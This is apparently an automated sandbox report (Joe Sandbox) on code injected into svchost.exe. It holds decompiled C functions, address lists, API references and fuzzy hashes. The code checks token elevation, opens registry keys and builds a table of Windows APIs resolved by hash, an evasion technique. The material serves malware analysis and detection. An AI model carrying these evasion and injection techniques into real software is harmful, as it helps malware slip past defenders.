                                                                                                                                                                                                                                                                                                      				char _v20;
                                                                                                                                                                                                                                                                                                      				long _v24;
                                                                                                                                                                                                                                                                                                      				char _v32;
                                                                                                                                                                                                                                                                                                      				void* _v36;
                                                                                                                                                                                                                                                                                                      				void* _v40;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v44;
                                                                                                                                                                                                                                                                                                      				char* _v48;
                                                                                                                                                                                                                                                                                                      				void* _v52;
                                                                                                                                                                                                                                                                                                      				void* _v56;
                                                                                                                                                                                                                                                                                                      				void* _t35;
                                                                                                                                                                                                                                                                                                      				long _t43;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_v12 = 0;
                                                                                                                                                                                                                                                                                                      				_v20 = 0;
                                                                                                                                                                                                                                                                                                      				_v8 = 0;
                                                                                                                                                                                                                                                                                                      				if(_a20 != 0) {
                                                                                                                                                                                                                                                                                                      					_t35 = E030CAD90(_a4, _a8, _a12,  &_v8,  &_v20); // executed
                                                                                                                                                                                                                                                                                                      					if(_t35 != 0) {
                                                                                                                                                                                                                                                                                                      						_push(_v8);
                                                                                                                                                                                                                                                                                                      						_push( &_v32);
                                                                                                                                                                                                                                                                                                      						 *((intOrPtr*)( *((intOrPtr*)(E030C16E0() + 0x15c))))();
                                                                                                                                                                                                                                                                                                      						_v56 = 0x18;
                                                                                                                                                                                                                                                                                                      						_v52 = 0;
                                                                                                                                                                                                                                                                                                      						_v44 = 0x40;
                                                                                                                                                                                                                                                                                                      						_v48 =  &_v32;
                                                                                                                                                                                                                                                                                                      						_v40 = 0;
                                                                                                                                                                                                                                                                                                      						_v36 = 0;
                                                                                                                                                                                                                                                                                                      						_v16 = 0;
                                                                                                                                                                                                                                                                                                      						_t50 = _a16;
                                                                                                                                                                                                                                                                                                      						E030C16E0();
                                                                                                                                                                                                                                                                                                      						_t43 = NtOpenKey( &_v16, _a16,  &_v56); // executed
                                                                                                                                                                                                                                                                                                      						_v24 = _t43;
                                                                                                                                                                                                                                                                                                      						if(_v24 >= 0) {
                                                                                                                                                                                                                                                                                                      							_t50 = _a20;
                                                                                                                                                                                                                                                                                                      							 *_a20 = _v16;
                                                                                                                                                                                                                                                                                                      							_v12 = 1;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						E030C7700(_t50, _v8); // executed
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					return _v12;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				return _v12;
                                                                                                                                                                                                                                                                                                      			}

















                                                                                                                                                                                                                                                                                                      0x030cb236
                                                                                                                                                                                                                                                                                                      0x030cb23d
                                                                                                                                                                                                                                                                                                      0x030cb244
                                                                                                                                                                                                                                                                                                      0x030cb24f
                                                                                                                                                                                                                                                                                                      0x030cb26d
                                                                                                                                                                                                                                                                                                      0x030cb277
                                                                                                                                                                                                                                                                                                      0x030cb280
                                                                                                                                                                                                                                                                                                      0x030cb284
                                                                                                                                                                                                                                                                                                      0x030cb290
                                                                                                                                                                                                                                                                                                      0x030cb292
                                                                                                                                                                                                                                                                                                      0x030cb299
                                                                                                                                                                                                                                                                                                      0x030cb2a0
                                                                                                                                                                                                                                                                                                      0x030cb2aa
                                                                                                                                                                                                                                                                                                      0x030cb2ad
                                                                                                                                                                                                                                                                                                      0x030cb2b4
                                                                                                                                                                                                                                                                                                      0x030cb2bb
                                                                                                                                                                                                                                                                                                      0x030cb2c6
                                                                                                                                                                                                                                                                                                      0x030cb2ce
                                                                                                                                                                                                                                                                                                      0x030cb2d9
                                                                                                                                                                                                                                                                                                      0x030cb2db
                                                                                                                                                                                                                                                                                                      0x030cb2e2
                                                                                                                                                                                                                                                                                                      0x030cb2e4
                                                                                                                                                                                                                                                                                                      0x030cb2ea
                                                                                                                                                                                                                                                                                                      0x030cb2ec
                                                                                                                                                                                                                                                                                                      0x030cb2ec
                                                                                                                                                                                                                                                                                                      0x030cb2f7
                                                                                                                                                                                                                                                                                                      0x030cb2fc
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x030cb2ff
                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • NtOpenKey.NTDLL(00000000,?,00000018), ref: 030CB2D9
                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.868105934.00000000030C0000.00000040.00000001.sdmp, Offset: 030C0000, based on PE: true
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_30c0000_svchost.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: Open
                                                                                                                                                                                                                                                                                                      • String ID: @
                                                                                                                                                                                                                                                                                                      • API String ID: 71445658-2766056989
                                                                                                                                                                                                                                                                                                      • Opcode ID: 2b04bc2a830950adc25010ce1e01a5a6f4a88a5d5aac89e1ae38fc34a72e4203
                                                                                                                                                                                                                                                                                                      • Instruction ID: cd6d35880d03712397cdacdca9ea710115b72e83f0d2d1e75117e22bb534eaf5
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 2b04bc2a830950adc25010ce1e01a5a6f4a88a5d5aac89e1ae38fc34a72e4203
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6C2107B5D1124CEFDB04DFD4D888BEFB7B8AF88304F108158E915AB240D775AA08CBA0
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 448 30c9240-30c9259 call 30cd560 451 30c925b-30c9270 call 30c97f0 448->451 452 30c92c6-30c9311 call 30c16e0 448->452 457 30c92c1 451->457 458 30c9272-30c92ac call 30c16e0 * 2 NtQueryInformationToken 451->458 461 30c934c-30c9352 452->461 462 30c9313-30c9333 call 30c16e0 452->462 457->461 472 30c92ae-30c92b1 458->472 473 30c92b4-30c92bf call 30c16e0 NtClose 458->473 470 30c933b-30c9344 call 30c16e0 462->470 471 30c9335-30c9338 462->471 470->461 471->470 472->473 473->457
                                                                                                                                                                                                                                                                                                      C-Code - Quality: 38%
                                                                                                                                                                                                                                                                                                      			E030C9240() {
                                                                                                                                                                                                                                                                                                      				void* _v8;
                                                                                                                                                                                                                                                                                                      				char _v12;
                                                                                                                                                                                                                                                                                                      				char _v16;
                                                                                                                                                                                                                                                                                                      				char _v20;
                                                                                                                                                                                                                                                                                                      				char _v24;
                                                                                                                                                                                                                                                                                                      				char _v28;
                                                                                                                                                                                                                                                                                                      				char _v31;
                                                                                                                                                                                                                                                                                                      				char _v32;
                                                                                                                                                                                                                                                                                                      				char _v33;
                                                                                                                                                                                                                                                                                                      				char _v34;
                                                                                                                                                                                                                                                                                                      				char _v35;
                                                                                                                                                                                                                                                                                                      				char _v36;
                                                                                                                                                                                                                                                                                                      				void* _t53;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_v16 = 0;
                                                                                                                                                                                                                                                                                                      				if( *((intOrPtr*)(E030CD560() + 0xa4)) <= 5) {
                                                                                                                                                                                                                                                                                                      					_v36 = 0;
                                                                                                                                                                                                                                                                                                      					_v35 = 0;
                                                                                                                                                                                                                                                                                                      					_v34 = 0;
                                                                                                                                                                                                                                                                                                      					_v33 = 0;
                                                                                                                                                                                                                                                                                                      					_v32 = 0;
                                                                                                                                                                                                                                                                                                      					_v31 = 5;
                                                                                                                                                                                                                                                                                                      					_v12 = 0;
                                                                                                                                                                                                                                                                                                      					_push( &_v12);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push(0x220);
                                                                                                                                                                                                                                                                                                      					_push(0x20);
                                                                                                                                                                                                                                                                                                      					_push(2);
                                                                                                                                                                                                                                                                                                      					_push( &_v36);
                                                                                                                                                                                                                                                                                                      					if( *((intOrPtr*)( *((intOrPtr*)(E030C16E0() + 0x230))))() != 0) {
                                                                                                                                                                                                                                                                                                      						_v28 = 0;
                                                                                                                                                                                                                                                                                                      						_push( &_v28);
                                                                                                                                                                                                                                                                                                      						_push(_v12);
                                                                                                                                                                                                                                                                                                      						_push(0);
                                                                                                                                                                                                                                                                                                      						if( *((intOrPtr*)( *((intOrPtr*)(E030C16E0() + 0x234))))() != 0) {
                                                                                                                                                                                                                                                                                                      							_v16 = _v28;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						_push(_v12);
                                                                                                                                                                                                                                                                                                      						 *((intOrPtr*)( *((intOrPtr*)(E030C16E0() + 0x238))))();
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      				} else {
                                                                                                                                                                                                                                                                                                      					_v8 = E030C97F0(0, 0xffffffff, 8);
                                                                                                                                                                                                                                                                                                      					if(_v8 != 0) {
                                                                                                                                                                                                                                                                                                      						_push(4);
                                                                                                                                                                                                                                                                                                      						_push(0);
                                                                                                                                                                                                                                                                                                      						_push( &_v24);
                                                                                                                                                                                                                                                                                                      						 *((intOrPtr*)( *((intOrPtr*)(E030C16E0() + 0x2c))))();
                                                                                                                                                                                                                                                                                                      						_v20 = 4;
                                                                                                                                                                                                                                                                                                      						_push( &_v20);
                                                                                                                                                                                                                                                                                                      						_push(_v20);
                                                                                                                                                                                                                                                                                                      						_push( &_v24);
                                                                                                                                                                                                                                                                                                      						_push(0x14);
                                                                                                                                                                                                                                                                                                      						_push(_v8);
                                                                                                                                                                                                                                                                                                      						_t53 =  *((intOrPtr*)( *((intOrPtr*)(E030C16E0() + 0xb4))))(); // executed
                                                                                                                                                                                                                                                                                                      						if(_t53 >= 0) {
                                                                                                                                                                                                                                                                                                      							_v16 = _v24;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						E030C16E0();
                                                                                                                                                                                                                                                                                                      						NtClose(_v8); // executed
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				return _v16;
                                                                                                                                                                                                                                                                                                      			}
















                                                                                                                                                                                                                                                                                                      0x030c9246
                                                                                                                                                                                                                                                                                                      0x030c9259
                                                                                                                                                                                                                                                                                                      0x030c92c6
                                                                                                                                                                                                                                                                                                      0x030c92ca
                                                                                                                                                                                                                                                                                                      0x030c92ce
                                                                                                                                                                                                                                                                                                      0x030c92d2
                                                                                                                                                                                                                                                                                                      0x030c92d6
                                                                                                                                                                                                                                                                                                      0x030c92da
                                                                                                                                                                                                                                                                                                      0x030c92de
                                                                                                                                                                                                                                                                                                      0x030c92e8
                                                                                                                                                                                                                                                                                                      0x030c92e9
                                                                                                                                                                                                                                                                                                      0x030c92eb
                                                                                                                                                                                                                                                                                                      0x030c92ed
                                                                                                                                                                                                                                                                                                      0x030c92ef
                                                                                                                                                                                                                                                                                                      0x030c92f1
                                                                                                                                                                                                                                                                                                      0x030c92f3
                                                                                                                                                                                                                                                                                                      0x030c92f5
                                                                                                                                                                                                                                                                                                      0x030c92fa
                                                                                                                                                                                                                                                                                                      0x030c92fc
                                                                                                                                                                                                                                                                                                      0x030c9301
                                                                                                                                                                                                                                                                                                      0x030c9311
                                                                                                                                                                                                                                                                                                      0x030c9313
                                                                                                                                                                                                                                                                                                      0x030c931d
                                                                                                                                                                                                                                                                                                      0x030c9321
                                                                                                                                                                                                                                                                                                      0x030c9322
                                                                                                                                                                                                                                                                                                      0x030c9333
                                                                                                                                                                                                                                                                                                      0x030c9338
                                                                                                                                                                                                                                                                                                      0x030c9338
                                                                                                                                                                                                                                                                                                      0x030c933e
                                                                                                                                                                                                                                                                                                      0x030c934a
                                                                                                                                                                                                                                                                                                      0x030c934a
                                                                                                                                                                                                                                                                                                      0x030c925b
                                                                                                                                                                                                                                                                                                      0x030c9269
                                                                                                                                                                                                                                                                                                      0x030c9270
                                                                                                                                                                                                                                                                                                      0x030c9272
                                                                                                                                                                                                                                                                                                      0x030c9274
                                                                                                                                                                                                                                                                                                      0x030c9279
                                                                                                                                                                                                                                                                                                      0x030c9282
                                                                                                                                                                                                                                                                                                      0x030c9284
                                                                                                                                                                                                                                                                                                      0x030c928e
                                                                                                                                                                                                                                                                                                      0x030c9292
                                                                                                                                                                                                                                                                                                      0x030c9296
                                                                                                                                                                                                                                                                                                      0x030c9297
                                                                                                                                                                                                                                                                                                      0x030c929c
                                                                                                                                                                                                                                                                                                      0x030c92a8
                                                                                                                                                                                                                                                                                                      0x030c92ac
                                                                                                                                                                                                                                                                                                      0x030c92b1
                                                                                                                                                                                                                                                                                                      0x030c92b1
                                                                                                                                                                                                                                                                                                      0x030c92b8
                                                                                                                                                                                                                                                                                                      0x030c92bf
                                                                                                                                                                                                                                                                                                      0x030c92bf
                                                                                                                                                                                                                                                                                                      0x030c92c1
                                                                                                                                                                                                                                                                                                      0x030c9352

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • NtQueryInformationToken.NTDLL(00000000,00000014,?,00000004,00000004), ref: 030C92A8
                                                                                                                                                                                                                                                                                                      • NtClose.NTDLL(00000000), ref: 030C92BF
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.868105934.00000000030C0000.00000040.00000001.sdmp, Offset: 030C0000, based on PE: true
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_30c0000_svchost.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: CloseInformationQueryToken
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 3130709563-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: 81aa41bc9c35e801df380c9da83d5ec1c14bc4383aafe8ae8dbc9a004f928d4e
                                                                                                                                                                                                                                                                                                      • Instruction ID: 4cf3f819b7a06f5dbda966782dcdb7662e0705815b5f10613621200b432aa716
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 81aa41bc9c35e801df380c9da83d5ec1c14bc4383aafe8ae8dbc9a004f928d4e
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 34312D75A15349AAEB04DBE4C889FEFB7B4AF84700F04419CE254AB2D1DB749A04CBA5
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      C-Code - Quality: 28%
                                                                                                                                                                                                                                                                                                      			E030C7700(void* __ecx, char _a4) {
                                                                                                                                                                                                                                                                                                      				char _v8;
                                                                                                                                                                                                                                                                                                      				void* _t9;
                                                                                                                                                                                                                                                                                                      				void* _t15;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				if(_a4 != 0) {
                                                                                                                                                                                                                                                                                                      					_v8 = 0;
                                                                                                                                                                                                                                                                                                      					_push(0x4000);
                                                                                                                                                                                                                                                                                                      					_push( &_v8);
                                                                                                                                                                                                                                                                                                      					_push( &_a4);
                                                                                                                                                                                                                                                                                                      					_push(0xffffffff);
                                                                                                                                                                                                                                                                                                      					 *((intOrPtr*)( *((intOrPtr*)(E030C16E0() + 0x10))))(); // executed
                                                                                                                                                                                                                                                                                                      					_push(0x8000);
                                                                                                                                                                                                                                                                                                      					_push( &_v8);
                                                                                                                                                                                                                                                                                                      					_push( &_a4);
                                                                                                                                                                                                                                                                                                      					_push(0xffffffff);
                                                                                                                                                                                                                                                                                                      					_t15 =  *((intOrPtr*)( *((intOrPtr*)(E030C16E0() + 0x10))))(); // executed
                                                                                                                                                                                                                                                                                                      					return _t15;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				return _t9;
                                                                                                                                                                                                                                                                                                      			}






                                                                                                                                                                                                                                                                                                      0x030c7708
                                                                                                                                                                                                                                                                                                      0x030c770a
                                                                                                                                                                                                                                                                                                      0x030c7711
                                                                                                                                                                                                                                                                                                      0x030c7719
                                                                                                                                                                                                                                                                                                      0x030c771d
                                                                                                                                                                                                                                                                                                      0x030c771e
                                                                                                                                                                                                                                                                                                      0x030c7728
                                                                                                                                                                                                                                                                                                      0x030c772a
                                                                                                                                                                                                                                                                                                      0x030c7732
                                                                                                                                                                                                                                                                                                      0x030c7736
                                                                                                                                                                                                                                                                                                      0x030c7737
                                                                                                                                                                                                                                                                                                      0x030c7741
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x030c7741
                                                                                                                                                                                                                                                                                                      0x030c7746

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000000,00004000,00000000), ref: 030C7728
                                                                                                                                                                                                                                                                                                      • NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000000,00008000), ref: 030C7741
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.868105934.00000000030C0000.00000040.00000001.sdmp, Offset: 030C0000, based on PE: true
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_30c0000_svchost.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: FreeMemoryVirtual
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 3963845541-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: 72afd6d54ad08937393dde14fe370dc97240bedb834de37573aeb02f4de90155
                                                                                                                                                                                                                                                                                                      • Instruction ID: fb3f2defcf8de9f615d553fd9f47a4cf9c6768afef555e0102cb2be82349ca36
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 72afd6d54ad08937393dde14fe370dc97240bedb834de37573aeb02f4de90155
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: EBE03075120208BFD708DF80CC41FDE736CAF40360F248398A5245A0D0EA70EA44CBE1
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                      			E030C16F0(void* __eflags, intOrPtr _a4) {
                                                                                                                                                                                                                                                                                                      				intOrPtr _v8;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v12;
                                                                                                                                                                                                                                                                                                      				long _v16;
                                                                                                                                                                                                                                                                                                      				long _v20;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t463;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t490;
                                                                                                                                                                                                                                                                                                      				void* _t493;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t494;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t498;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t510;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t517;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_v16 = 0;
                                                                                                                                                                                                                                                                                                      				_v8 = E030C1000(0x84c05e40);
                                                                                                                                                                                                                                                                                                      				if(_v8 != 0) {
                                                                                                                                                                                                                                                                                                      					 *0x30efc04 = 0;
                                                                                                                                                                                                                                                                                                      					_v12 = E030C1080(_v8, 0xd820a574);
                                                                                                                                                                                                                                                                                                      					if(_v12 != 0) {
                                                                                                                                                                                                                                                                                                      						_v20 = 0x310;
                                                                                                                                                                                                                                                                                                      						if(NtAllocateVirtualMemory(0xffffffff, 0x30efc04, 0,  &_v20, 0x3000, 4) >= 0) {
                                                                                                                                                                                                                                                                                                      							 *( *0x30efc04) = E030C1080(_v8, 0x180c0d23);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 4)) = E030C1080(_v8, 0x183679f2);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 8)) = E030C1080(_v8, 0xb64c13ee);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0xc)) = _v12;
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x10)) = E030C1080(_v8, 0xf97a25d4);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x14)) = E030C1080(_v8, 0xd2654135);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x18)) = E030C1080(_v8, 0xe8b3559);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x1c)) = E030C1080(_v8, 0xe9fa5fec);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x20)) = E030C1080(_v8, 0x918ed998);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x24)) = E030C1080(_v8, 0xabad92e3);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x28)) = E030C1080(_v8, 0xaf11bc24);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x2c)) = E030C1080(_v8, 0x8463960a);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x30)) = E030C1080(_v8, 0xd141afd3);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x34)) = E030C1080(_v8, 0x57f17b6b);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x38)) = E030C1080(_v8, 0xc488ee02);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x3c)) = E030C1080(_v8, 0xa7838944);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x40)) = E030C1080(_v8, 0x9f45283d);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x44)) = E030C1080(_v8, 0x77a7dae5);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x48)) = E030C1080(_v8, 0x2be11d1c);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x4c)) = E030C1080(_v8, 0x90025177);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x50)) = E030C1080(_v8, 0xf775fbc7);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x54)) = E030C1080(_v8, 0xe96d2c1b);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x58)) = E030C1080(_v8, 0x89a2014d);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x5c)) = E030C1080(_v8, 0xd8d39f09);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x60)) = E030C1080(_v8, 0xe26d605a);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x64)) = E030C1080(_v8, 0x5e7088ed);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x68)) = E030C1080(_v8, 0xd6c37a18);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x6c)) = E030C1080(_v8, 0x6ab0c8e4);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x70)) = E030C1080(_v8, 0x26f94a0b);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x74)) = E030C1080(_v8, 0x215eddfb);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x78)) = E030C1080(_v8, 0x2af0409a);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x7c)) = E030C1080(_v8, 0xa0a76acb);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x80)) = E030C1080(_v8, 0x3e569f5);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x84)) = E030C1080(_v8, 0x519bed2b);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x88)) = E030C1080(_v8, 0x6b74c325);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x8c)) = E030C1080(_v8, 0x52d21a21);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x90)) = E030C1080(_v8, 0x3185e3a);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x94)) = E030C1080(_v8, 0x46567e);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x98)) = E030C1080(_v8, 0xcfb4ee17);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x9c)) = E030C1080(_v8, 0xa5c2991b);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0xa0)) = E030C1080(_v8, 0x97d4eb02);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0xa4)) = E030C1080(_v8, 0x7714fa20);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0xa8)) = E030C1080(_v8, 0x301bf0);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0xac)) = E030C1080(_v8, 0xc8277bf4);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0xb0)) = E030C1080(_v8, 0xb0ebd9c2);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0xb4)) = E030C1080(_v8, 0x5418dca4);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0xb8)) = E030C1080(_v8, 0xa81a7cd4);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0xbc)) = E030C1080(_v8, 0xb679c176);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0xc0)) = E030C1080(_v8, 0xcfe3e811);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0xc4)) = E030C1080(_v8, 0xb5000c52);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0xc8)) = E030C1080(_v8, 0x6967772d);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0xcc)) = E030C1080(_v8, 0x783d88df);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0xd0)) = E030C1080(_v8, 0x6f97ba62);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0xd4)) = E030C1080(_v8, 0xcc7d438d);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0xd8)) = E030C1080(_v8, 0x2c919477);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0xdc)) = E030C1080(_v8, 0xd287ee26);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0xe0)) = E030C1080(_v8, 0x9d35f923);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0xe4)) = E030C1080(_v8, 0xcbf210e5);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0xe8)) = E030C1080(_v8, 0x324d9a29);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0xec)) = E030C1080(_v8, 0xd2fe73b5);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0xf0)) = E030C1080(_v8, 0xbb79c95a);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0xf4)) = E030C1080(_v8, 0xd93603c8);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0xf8)) = E030C1080(_v8, 0x7e222a34);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0xfc)) = E030C1080(_v8, 0xa76f9b64);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x100)) = E030C1080(_v8, 0xe7c5afe3);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x104)) = E030C1080(_v8, 0xa646b782);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x108)) = E030C1080(_v8, 0x52a02912);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *0x30efc04 + 0x10c)) = E030C1080(_v8, 0x194b0653);
